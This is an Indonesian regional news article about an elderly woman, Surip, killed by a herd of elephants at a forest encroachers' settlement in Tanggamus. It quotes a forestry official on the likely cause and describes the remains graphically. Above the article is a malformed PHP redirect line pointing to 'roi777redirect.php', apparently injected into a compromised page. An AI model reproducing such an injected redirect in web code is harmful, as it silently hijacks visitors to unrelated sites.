header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Kehabisan Makanan, Seorang Nenek Jadi Korban -
Kehabisan Makanan, Seorang Nenek Jadi Korban

TEWAS MENGENASKAN: Inilah potongan sisa tangan dan kaki tubuh Surip (70) yang terkoyak mengenaskan setelah jadi bulan-bulanan kawanan gajah yang merangsek ke gubuknya pada Selasa (3/7) dini hari.

 

TRANSLAMPUNG.COM, TANGGAMUS – DIDUGA lantaran tidak adanya ketegasan dari pihak terkait untuk mengusir kelompok perambah dari hutan Register 39 Kabupaten Tanggamus, akhirnya konflik gajah versus manusia menelan korban jiwa. Surip yang sudah berusia senja, tewas dengan kondisi tubuh hancur terkoyak, lantaran diduga menjadi bulan-bulanan kawanan gajah.

Peristiwa mengejutkan itu terjadi di wilayah hutan Register 49 Talang Marno Blok 6 Kecamatan Bandarnegeri Semuong, Selasa (3/7) dini hari. Sekitar pukul 03.30 WIB, kala kawanan gajah turun dan mendatangi Talang Marno, sekelompok warga yang diduga menjadi perambah di Register 39 sedang terlelap di gubuk mereka.

Berdasarkan informasi yang berhasil dihimpun dari tiga elemen narasumber, yaitu Unit Pelaksana Teknis Dinas Kesatuan Pengelola Hutan (KPH) Kotaagung Utara, Pemkab dan Polres Tanggamus, korban jiwa yang tewas dengan kondisi mengenaskan berjenis kelamin perempuan.

Kepala UPTD KPH IX Kotaagung Utara Zulhaidir membenarkan peristiwa mengejutkan tersebut. Dia menjelaskan, kronologis kejadiannya, saat melihat kedatangan segerombolan gajah tersebut kelompok perambah di sekitar Talang Marno Blok 6 pun berhamburan keluar dari rumah. Mereka berjaga dan bersiaga.

Bukannya menjauh, gerombolan gajah terus bergerak menuju mendekat gubuk yang dihuni oleh Surip, sekitar pukul 03.30 WIB. Saat berada di pekarangan gajah, merusak dan memakan tanaman di pekarangan gubuk milik Surip.

“Melihat hal tersebut, Surip bermaksud untuk mengusir gerombolan gajah. Namun upaya tersebut tidak berhasil. Kawanan gajah malah semakin mengamuk dan menyebabkan Surip tewas mengenaskan dengan kondisi tubuh hancur,” ungkap Zulhaidir.

Kemudian saat ditanya lebih dalam soal pemicu kawanan gajah yang mengamuk, Zulhaidir belum dapat menjawabnya dengan jelas. Dia hanya bisa memperkirakan kawanan gajah mengamuk karena tertekan dan kehabisan bahan makanan di habitatnya.

“Mungkin karena gajah merasa terancam (di tempatnya). Kami sudah laporkan ke atasan soal kejadian ini. Dan sekarang menunggu perintah lebih lanjut,” singkat Zulhaidir. (ayp)

 

 

News Reporter